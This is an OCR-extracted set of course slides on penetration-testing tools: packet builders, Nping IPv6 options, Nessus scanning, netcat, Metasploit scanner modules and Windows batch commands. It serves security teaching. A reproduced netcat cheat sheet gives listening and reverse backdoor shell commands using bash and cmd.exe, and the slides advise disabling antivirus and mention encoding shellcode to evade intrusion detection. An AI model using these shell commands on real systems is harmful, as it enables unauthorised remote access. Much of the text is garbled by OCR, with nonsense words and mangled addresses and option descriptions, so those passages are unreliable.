



Metasploit

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Packet Construction Tools

<u>http://securitytools.wikidot.com/packet-construction</u>

	Ormative account or Eggs in
	Securitytools
	MITHEEGENDER BECHARTP-CHECKERTE WARNE TEOREDIE-FARLEHANG CONTACT
	PACKET CONSTRUCTION
 Fx83hg 	
Pecket Construction	
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 Scanning-Detection- 	
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Penetration-mainerability-	New Anarkatelevenancelle of EMEVABlandservenand for an
105-125	
 Noceons General -Formula: 	AURISEND IS AN LOW WORE ISENER PERIOD IN THE PREPARATION OF ALL LOW TORS AND CODES, SPORTING, AND PLOTONIC.
 Nobile-PDA-Foreneic- 	COLAROFT PACKET BUILDER
Tools	
Haneypot-Projecta	http://www.columth.com/puckut_builder/
Cracking	COLASOFT MONET BUILDER FRANLES CREATING CUSTOM METWORK MONETS; UNITS CAN USE THIS TOOL TO CHECK THEIR NETWORK PROTECTION ADAMST
 Usco-specific Unice-Hadding-Kits 	ATTACKS AND INTRUDERS.
 Renoters Confidential 	COLASSYT INVOLT BUILDER INCLUDES A VERY POWERFUL EDITING FEATURE. RESIDES COMMON HEX EDITING RAW DATA, IT POATURES A DECIDING EDITOR
Systems	ALLOWING USERS TO EDIT SPECIFIC PROTOCOL FIELD VALUES MUCH EASIER.

IPv6 Scanning

- IPv6 fingerprinting
- Nmap has a similar but separate OS detection engine specialized for IPv6
 - Use the -6 and –O options

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IPv6 Scanning

- https://nmap.org/book/nping-man-ip6options.html
- Options.ntml
 From the site
 Nping is an open-source tool for network packet generation, response analysis and response time measurement. Nping allows users to generate network packets of a wide range of protocols, letting them tune virtually any field of the protocol headers. While Nping can be used as a simple ping utility to detect active hosts, it can also be used as a raw packet generator for network stack stress tests, ARP poisoning, Denial of Service attacks, route tracing, and other purposes.

		_
IPv6 Oj	otions	
-6,1 <i>pv</i> 6 (Jac IPv6)	
Tells that th than a	Sping to use IP version 6 intered of the default IP-4. It is generally a good idea to specify this option as entry as possible in the command line so Nping can parse it soon and know in advance erest of the parameters refer to IP-0. The command gunx is the same as usual except that you had odd the - option. Of course, you must use IP-6 syntax if you specify an address rather homanae. An address inglift look like 3Fe(-1561-1637): (2002): (3Fe(-1634)): (3Fe(-163	
While and ta You c	IPs6 hash exactly taken the weekl by steem, it gets significant use in some (usually Asian) countries and most modern operating systems support is. To use Nying with IPs6, both the source get of your packets must be configured for IPs6. If your ISP (like most of them) does not allocate IPs6 addresses to you, free tunnel beckers are widely available and work fine with Nying. In use the feet TPs6 trutter becker strice at the physical works and a strice at the strice of the strice at the st	
Please	note that IPv6 support is still highly experimental and many modes and options may not work with it.	
s cedaro,	source-ip-costro (Source IP Address)	
Sets ti addre	e source IP address. This option lets you specify a custom IP address to be used as source IP address in sent packets. This allows spoefing the sender of the packets. costs-> can be an IPv6 is or a hostname.	
dest-ip (unity (Destination IP Address)	
Adds	target to Nping's target list. This option is provided for consistency but its use is deprecated in force of plain target specifications. See the section called "Target Specification".	
-flow cla	eC (Flow Label)	
Sets t adopt	te IPv6 Flow Label. The Flow Label field is 20 bits long and is intraded to posvide certain quality-of-service properties for real-time datagram delivery. However, it has not been widely ef, and not all routers or endpoints support it. Check RFC 2460 for more information. <a href="https://www.com/checkstropy.co</td> <td></td>	
traffic-	lass «class» (Traffic Class)	
Sets the set of the se	e IPv6 Traffic Class. This field is similar to the TOS field in IPv4, and is intended to provide the Differentiated Services method, enabling scalable service discrimination in the laternet at the need for per-flow state and signaling at every hop. Check RFC 2474 for more information. eccanso must be an integer in the range [0-255].	
hop-limit	etopas (Hep Limit)	
Sets the can be chapted as a chapter of the chapter	se IPv6 Hop Limit field in sent packets to the given value. The Hop Limit field specifies how long the datagram is allowed to exist on the network. It represents the number of heps a packet verse before being dropped. As with the TT in IPv4. IPv6 Hop Limit tries to avoid a situation in which undeliverable datagrams keep being forwarded from one outer to another eadlessly. mark to a number in the range [0–55].	

Now What

Consider picking up "Red Team Field Manual"

 https://www.amazon.com/Rtfm-Red-Team-Field Manual/dp/1494295504/ref=sr 1_1?ie=UTF8

&qid=1538587040&sr=8-1&keywords=red+team+field+manual+2018

Reference guide of terminal commands for

- various systems and applications.
- Embed in batch files and execute

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RTFM Coverage Areas

■ *NIX

- Windows
- Networking
- Tips and Tricks
- Tool Syntax
- Web
- Databases
- Programming
- Wireless



Getting Nessus

Download from Tenable Security

- <u>http://www.tenable.com/products/nessus/selectyour-operating-system</u>
- Before installing, go to registration page and get the activation code

<u>http://www.tenable.com/products/nessus-home</u>

- Run the package and follow the prompts
- Install will also install PCAP and then take you to the registration page.
- Enter activation code and follow the prompts to get updates and plugins

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Documentation

Documentation for Nessus is available here:

- <u>http://static.tenable.com/documentation/nessus_4</u>, <u>2_user_guide.pdf</u>
- You will also get a link to this location during the install.

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AV and Firewalls

You will need to turn off Anti-Virus and Firewall in order to get an effective scan or you will see this:



- Before you do this, disconnect from any and all networks.
- You will likely still get some blocking as AV doesn't like to give up.

Getting Started

- You should end up looking at web page hosted from your machine.
- Book mark the page to save time getting back
- URL will look like this:
 - https://localhost:8834/html5.html

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Policies 3
Basic Scan / Step 3 of 3
Provide credentials to detect missing patches and client-side vulnerabilities (optional):
Authentication method Windows
Windows Nerous can enumerate Windows settings, detect insecure configurations, and identify mixing Microsoft or thrid-party updates. Wease provide the credentials for a user account that has local administrative privileges on the targets being scarned.
Username
Password
Domain
MIS 5211.701 18



There are many more options

Define your po	olicy name, description, and po	st-scan editing preferences:	
	Policy Name	Basic Scan	
	Visibility	private •	
	Description	First Scan	
	Allow Post-Scan Report Editing	2	
Next Cancel			

	Creat	ing A Sc	an
Scans			
Scans	New Scan / Basic S	ettings	
Basic Settings	Name	My First Scan	
Email Settings	Description	My First Scan	C
	Policy	Basic Scan	•
	Folder	My Scans	•
	Targets	192.108.220.130	^
	Upload Targets	Add File	Y
		MIS 5211.701	20





Scan Status

Once your scan has started you will see a status field like this:

Scans / My Scans			
Name	Last Modified 🔺	Status	
First Scan	00:29 AM	C Running	

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Clicking on scan gives details

	173 735 736) Multi-andrewski Witter			Ulda Dated
1913 / 192.1				Hore beau
Severity 🔺	Plugin Name	Plugin Family	Count	∧ Host Details
OUTCAL	Apache Tomcat Managar Common Administrative Credentials	Web Servers	1	Pt 192.168.220.130
CUTCAL	Bash Remote Code Decution (Shellshock)	Gain a shell remotely	1	MAC: 000028087629
CERCAL	Debian OpenSSH/OpenSSL Package Random Number Generator Weakness	Gain a shell remotely	1	Ubuntu 8.04 Start time: Wed Oct 01 002953 2014
CUTCAL	Remote host has weak Debian OpenSSH Keys in ~/.ssh/authorized_keys	Gain a shell remotely	1	End time: Wed Oct 01 00:37:59 2014 KR Download
CLIECK	Rogue Shell Backdoor Detection	Backdoors	1	
GLEON	Samba NDR MS-RPC Request Heap-Based Remote Buffer Overflow	Misc.	1	∧ Valnerabilities
CUTCAL	Ubuntu 6.06 LTS / 7.04 / 7.10 / 8.04 LTS : gruth12, gruth12 vulnerabilities (USN-61	Ubuntu Local Security Checks	1	
GLEDAL	Ubuntu 6.06 LTS / 7.04 / 7.10 / 8.04 LTS : liborni2 vulnerabilities (USN-644-1)	Ubuntu Local Security Checks	1	High Const
GLEON	Ubuntu 6.06 LTS / 7.10 / 8.04 LTS / 8.10 : Ilbomi2 vulnerabilities (USN-673-1)	Ubuntu Local Security Checks	1	
CERCAL	Ubuntu 6.06 LTS / 8.04 LTS / 8.10 / 9.04 : dhcp3 vulnerability (USN-803-1)	Ubuntu Local Security Checks	1	





Criticality

- Note on criticality
- The "Critical" risk factor is without any mitigating controls being taken in to account
- Vulnerabilities need to be evaluated in context

Severity:	Critical
ID:	34970
Version:	\$Revision: 1.29 \$
Type:	remote
Family:	Web Servers
Published:	2008/11/26
Modified:	2014/02/04
∧ Risk Infe	ormation

Risk Factor: Critical
CVSS Base Score: 10.0
CVSS Vector: CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:
CVSS Temporal Vector: CVSS2#E:F/RL:OF/RC:C
CVSS Temporal Score: 8.3

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More on Results

These results were obtained, even though Anti-Virus continued blocking multiple techniques.

• Consider setting up a scanning machine without any AV or Host Firewall.

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Organizing Scans

- In short order you will gather a large collection of scans
- Use the built in folder system to move scans off of the main page



Don't Forget the Info

INFO	Telnet Server Detection	Service detection	1
INFO	TFTP Daemon Detection	Service detection	1
INFO	Time of Last System Startup	General	1
INFO	Traceroute Information	General	1
INFO	VMware Virtual Machine Detection	General	1
INFO	VNC Server Security Type Detection	Service detection	1
INFO	VNC Server Unencrypted Communication Detection	Service detection	1
INFO	VNC Software Detection	Service detection	1
INFO	vsftpd Detection	FTP	1
INFO	Web Server / Application favicon.ico Vendor Fingerprinting	Web Servers	1
NFO	Web Server Unconfigured - Default Install Page Present	Web Servers	1
INFO	WebDAV Detection	Web Servers	1
INFO	Windows NetBIOS / SMB Remote Host Information Disclosure	Windows	1
	1/15/5211.701		

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Info Vulnerabilities

- The least significant vulnerabilities are classified as "Info" or informational.
- These are often very useful in understanding details of the asset being scanned.



Netcat

- Netcat is a utility used by Penetration Tester and Hackers to establish network connections over UDP or TCP.
- Takes "Standard In", and sends it across the
- Receives network data and puts it on "Standard Out"
- Messages from netcat itself go on "Standard

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A Word About stdin, stdout, and stderror • These are terms from programming that refer

Text terminal Keyboard

Display

(]) stdin

Program 2 stdout

> std 6

- As an examplestdin would be the keyboard
- Stdout would be the screen
- Stderror may be dropped or sent to logging



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Netcat in Linux and Windows

- In Linux netcat is typically installed and can be activate simply by typing "nc" at the command
- In Windows, the file is not installed
 - http://nmap.org/n
 - Once downloaded and extracted type "ncat" at the command line to get started
 - Note AV will likely automatically remove it



Netcat Structure

- Basic format is
 - Send
 - \$nc [Target IP] [Remote Port]
 - Receive
 - \$nc [flag(s)] [Local Port]
 - Assumes TCP unless –u flag is set forcing to UDP
- Link to SANS Cheat Sheet
 - URL: <u>http://www.sans.org/security-</u> resources/sec560/netcat_cheat_sheet_v1.pdf



SANS NC Cheat Sheet File Transfer TCP Ban Auch a file from client to Estener: no -1 -p [LocalPort] > [outfile] Grab the harmer of any TCP service rannin Address from Linux: § echo ** | no -v -n -w1 [Target [start_port]-(end_port] backpipe: 5 od /tmp 5 mknod backpipe p Listen on (LocalFort), store results in [outfile Attempt to connect to each port in a range from [end_port] to [start_port] on IP Address (rangestIradde] unning verbossly (~), not resolving names (~n), and vesting no more than if a second for a connection to occur (~vi). Then set basis during to the open port and print out any benner recover in response % nc -w3 [TargetIFaddr] (port) < (infile)</pre> *litererio-ChentRoiny:* S nc -l -p [LocalFort] 0-Chackpipe | nc [TargetIFaddr] [port] | tee backpipe Push [infile] to [PargetIPaddr] 00 [port] Create a relay that sends peckets from the local port [LocalFort] to a Netcat clent connected to [TargetIFaddr] on port [port] Pul file from detener back to chent: © no -1 -p [LocalPort] < [infile] % s p incontrol < infile] Uster on (nocalrect), prep to push [infile] % no -w3 (TargetIFaddir) (port) > (outfile) Add -r to randomize destination ports within the lishnar-to-lishnar-Anhy: \$ no -1 -p [LocalFort 1] 0<backpipe | no -1 -p [LocalFort_2] | tee backpipe Add -p [port] to specify a source port for the Connect to [margetIPaddr] on [port] and retrieve [outfile] Create a relay that sends packets from any connection on [LocalPort_1] to any connection on [LocalPort_2] Backdoor Shells TCP Port Scanner Istering backdor shel or linu: 5 nc -1 -p [LocalFort] -e /bin/bash Istering backdor shel or Window: C:\> nc -1 -p [LocalFort] -e cmd.exe Chertdo-Chritedor; 3 not [PreviousHop/Paddt] [port] 4 detackspipe | not [NextHop/Paddt] [port2] | tee backspipe Contes relys that ands packeds from the connection to [reveriousHop/Paddt] (no [port] to A bleck chiert connected to [NextHop/Paddt] on port [port2] Aviscan an IP Address: 5 nc -v -n -z -wi [TargetIPaddr] [start_port]-[end_port] Create a shell on local port [LocalPort] that can then be accessed using a fundamental Netcat client Reserve hackday shell on (inu; 5 nc [YourIPadds] [port] -s /bin/bash Reserve hackday shell on Windows; C:\> nc [YourIPadds] [port] -s cmd.uxe Create a reverse shell that will attempt to connect to (rowr.tradur.) on local port (port). This shell can then be captured using a fundamental nc listene The randomize ports (-r) switch can be used to choose port numbers randomly in the range

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Pipes

- So, netcat can send what I type to another
- The pipe commands " | ", ">", and "<" let you do more interesting things
- For example, transfer a file between systems

 - Listen on local port and store result in file
 - \$nc -w3 [TargetIP] [Port] < [In File]
 Push file to target IP on port
- See SANS Cheat Sheet on previous page for more examples

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Port Scanning

- You can even use netcat as a simple port scanner
- Example
 - \$nc -v -n -z -w1 [Target IP] [Starting Port] -[Ending Port]
 - Systematically attempts to connect on each port within the defined range
 Note:

 v Verbose

 - -n Do not resolve names
 -z Do not send data
 -w1 Wait no more then one second to connect



Metasploit

Metasploit is a penetration testing framework that integrates other tools we have seen with exploitation tools

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Penetration Testing Execution Standard

- Developers of Metasploit used the Penetration Testing Execution Standard (PTES) as their guide in developing the tool
- <u>http://www.pentest-</u> <u>standard.org/index.php/Main_Page</u>
- Contains a great deal of information and worth looking over

Process

Similar to what we covered earlier, Metasploit and PTES breaks activities down in to some basic a Theorem and the second matter of the basic categories
Pre-Engagement (Getting Permission)
Intelligence Gathering (Recon)
Threat Modeling (Using Intel to determine vulnerabilities)
Note: This is different then Threat Modeling in IT Security Space

- Vulnerability Analysis
- Post Exploitation (Clean up after yourself) Reporting

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Types of Penetration Tests

- Overt Penetration Testing
 Another term for "Crystal Box" testing
 Working with target staff and with access to target documentation to fine tune testing
 Quicker, but information may steer you away from things

 - Covert Penetration Testing
 Another term for "Black Box" testing
 You have the same opportunity to gather information as a real attacker
 Time consuming and expensive, but you may find "nuggets" not obvious from the documentation if you had it

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Vulnerability Scanners

- We looked at these earlier
- Remember Nmap and Nessus
- Metasploit can interface with these tools (and others) to use their output as an input to it's

A few words about Metasploit

- Metasploit is included on Kali in several forms
- There is a Web Based interface that requires activation as well as the terminal version built in.
- Both forms are <u>slow</u> to launch. Your machine isn't frozen, it just takes a while. There's a lot going on and we'll cover that as we go.
- We will focus on the terminal version known as Metasploit Framework

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Terminology

- Exploit Means by which an attacker takes advantage of a flaw
- Payload Code we want a system to execute
- Shellcode Set of instructions used as a payload when exploitation occurs
- Module Piece of software used by the Metasploit Framework
- Listener Component within Metasploit that waits for an incoming connection

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Metasploit Interfaces

- MSFconsole The way we will normally interact with Metasploit
- Started by typing: msfconsole at terminal prompt
- Note: You may need to provide path



Metasploit Interfaces

- MSFcli Bypasses msfconsole menu process and allows direct selection of attack
 Started by typing msfcli at terminal prompt
- respective respec

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Metasploit Utilities

- MSFpayload Generates shellcode, executables, and more
- MSFencode Encodes shellcode to eliminate problem characters and obfuscate code to evade IDS and IPS systems
- Nasm Shell Utility that provides assembly language help during scripting

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Metasploit Express and Pro

• Commercial versions of the Metasploit tool

We will stick with the community version in this class

Note: We ran through a lot of information and terms. We will cover details as the course continues.

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Once More

 <u>One more time</u> – The techniques covered in this class can damage your systems and the target systems. Make sure you use a test environment.

	Net	craft		
- Wob bac	nd tool for fin	ding IDo		
• Web base		ung n s		
	uch dans an otom	ft com		
🗉 UKL: sea	rcnans.netcra	art.com		
Search Web by Domain				
Explore 1,655,211 web alters visited by users of t	he Netzraft Toolbar			14th Janua
	Research .		ter.	
		344700		
	site contains 🔍 google o	om lookup		
	site contains 0 google.c	om Lookup costalar artcraft.com		
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Results for google.com	site contains C poogle c ecoughe cite	om tooku contaar sektrafi.com		
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Results for google.com Prot 503 site returned Site 1 second 2 second 3 second 4 second 4 second 5	Ste contains C (projet and	01 [Joint 103] [J	че	06 hore hore hore hore hore hore hore hore
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Active Information Gathering

- Port Scanning with Nmap
- We covered this earlier
- One new twist, we want to utilize the –oX option to have nmap save it's output in xml

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Metasploit and it's Database

- Metasploit has a built in database to support collecting data during a penetration test
- Uses PostgresSQL
- You can check status when MSFconsole is running by typing: db_status at the msf> prompt in Metasploit
 - Should respond with "postgress connected to msf3 (or something close to this)

Note: Before Kali 2.0, there were issues getting the database to work. Make sure you are on 2.0 or >

Database and Nmap

- Run Nmap with a command something like: nmap -Pn -sS -A -oX Subnet1.xml 192.168.1.0/24
- This will sweep the subnet and leave the results in a xml file ready for import
- □ This may take a while, may want to narrow focus to a shorter list

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Importing to Metasploit

- At Metasploit prompt
 - Db_import Subnet1.xml Hosts -c address
- This will import the active hosts to Metasploit

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Nmap from Metasploit

- Msf > db_nmap -sS -A [Target Address]



Built In Port Scanners

- Run command:
 - Msf> use auxiliary/scanner/portscan/syn
 - Msf auxiliary(syn) > set RHOSTS [Target IP]
 - Msf auxiliary(syn) > set THREADS 50



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More Scanning Options

- Server Message Blocks
- Use auxiliary/scanner/smb/smb_versio
- MSSQL
- Use auxiliary/scanner/mssql/mssql_ping
- SSH
- Use auxiliary/scanner/ssh/ssh_version
- FTP
 - Use auxiliary/scanner/ftp/anonymous
- SNMP
 - Use auxiliary/scanner/snmp/snmp_login

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Writing a Custom Scanner

- You can write your own
- Uses Ruby
- Example on following page



Vulnerability Scanning

- Rapid 7 (Owner of commercial instance of Metasploit) makes a "community" version of their scanner available.
- Called NeXpose
- Not included in Kali
- Available at:
 - <u>http://www.rapid7.com/products/nexpose/comp</u> re-downloads.jsp
 - NOT REQUIRED FOR THIS CLASS

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NeXpose

- Similar to stand alone Nmap, NeXpose output can be saved as xml and imported into Metasploit via the db_import command
- Example
 - Msf⁻ db_import /tmp/hosts.xml





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Other Scanning Options

Open VNC Authentication

- Msf> use auxiliary/scanner/vnc/vnc_none_auth
- Open X11 Servers

Msf> use auxiliary/scanner/x11/open_x11







DOS Batch Scripting

First off, almost everything I present here started at:

<u>http://blog.commandlinekungfu.com/</u>

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F	inding	Other	Machine	S
• Try	"arp –a"			
	C:\Users\Wade>arp -a			
	Interface: 192.168.1 Internet Address 192.168.1.109 192.168.1.109 192.168.1.12 192.168.1.12 192.168.1.12 224.8.0.2 224.8.0.2 224.8.0.2 239.255.255.250 255.255.255	$\begin{array}{rllllllllllllllllllllllllllllllllllll$	Type dynanic dynanic static static static static static static static static static	
	Interface: 192.168.1 Internet Address 192.168.182.255 224.0.0.2 224.0.0.22 224.0.252 239.255.255.250	82.1 0xf Physical Address ff-ff-ff-ff-ff-ff-ff 91-90-5e-90-00-92 01-90-5e-00-00-16 01-90-5e-00-80-0f 01-80-5e-07-60-0f 01-80-5e-7f-ff-fa	Type static static static static static	
	Interface: 192.168.4 Internet Address 192.168.48.255 224.8.0.2 224.8.0.22 224.8.0.252 239.255.255.258	0.1 0x10 Physical Address ff-ff-ff-ff-ff-ff-ff 91-90-5e-90-90-92 01-80-5e-08-60-16 01-80-5e-08-80-6 01-90-5e-08-80-6 01-90-5e-7f-ff-fa	Type static static static static static	
	C:\Users\Wade>			





Details on a Service

Try "sc qc [service_name]



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Start/Stop Services

- Try "sc start [service_name]" or "sc stop [service_name]
- Remember, you can use "sc query state= all" to find the service names
- If you have access to a similar machine, you could also look at the GUI



FOR /L -> Counter

- FOR /L %i in ([Start],[Step],[Stop]) do [command]
 Translates to

C:VUEErs:Vadabecho 2 C:VUEErs:Vadabecho 2 C:VUEErs:Vadabecho 3 C:VUEErs:Vadabecho 4 C:VUEErs:Vadabecho 5 C:VUEErs:Vadab 2	C:\Users\Made>FOR /L %1 in (1,1,5) do echo %1	
C:VDerev:Vdad>eclo 3 C:VDerev:Vdad>eclo 3 C:VDerev:Vdad>eclo 4 C:VDerev:Vdad>eclo 5 C:VDerev:Vdad>	C:\Users\Made>echo 1 1	
d:\Uners\ulde>	C:\Users\Wade>echo 2 2	
G::User:Uadebechs 4 G::User:Uadebechs 5 G::User:Uadeb	C:\Users\Wade≻echo 3 3	
C:\Users\Wade>echo 5 5 C:\Users\Wade>	C:\Users\Wade>echo 4 1	
C:\Users\Wade>	C:\Users\Wade>echo 5 5	
	C:\Users\Wade>	

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Reference

Lots more at:
 <u>http://blog.commandlinekungfu.com/</u>

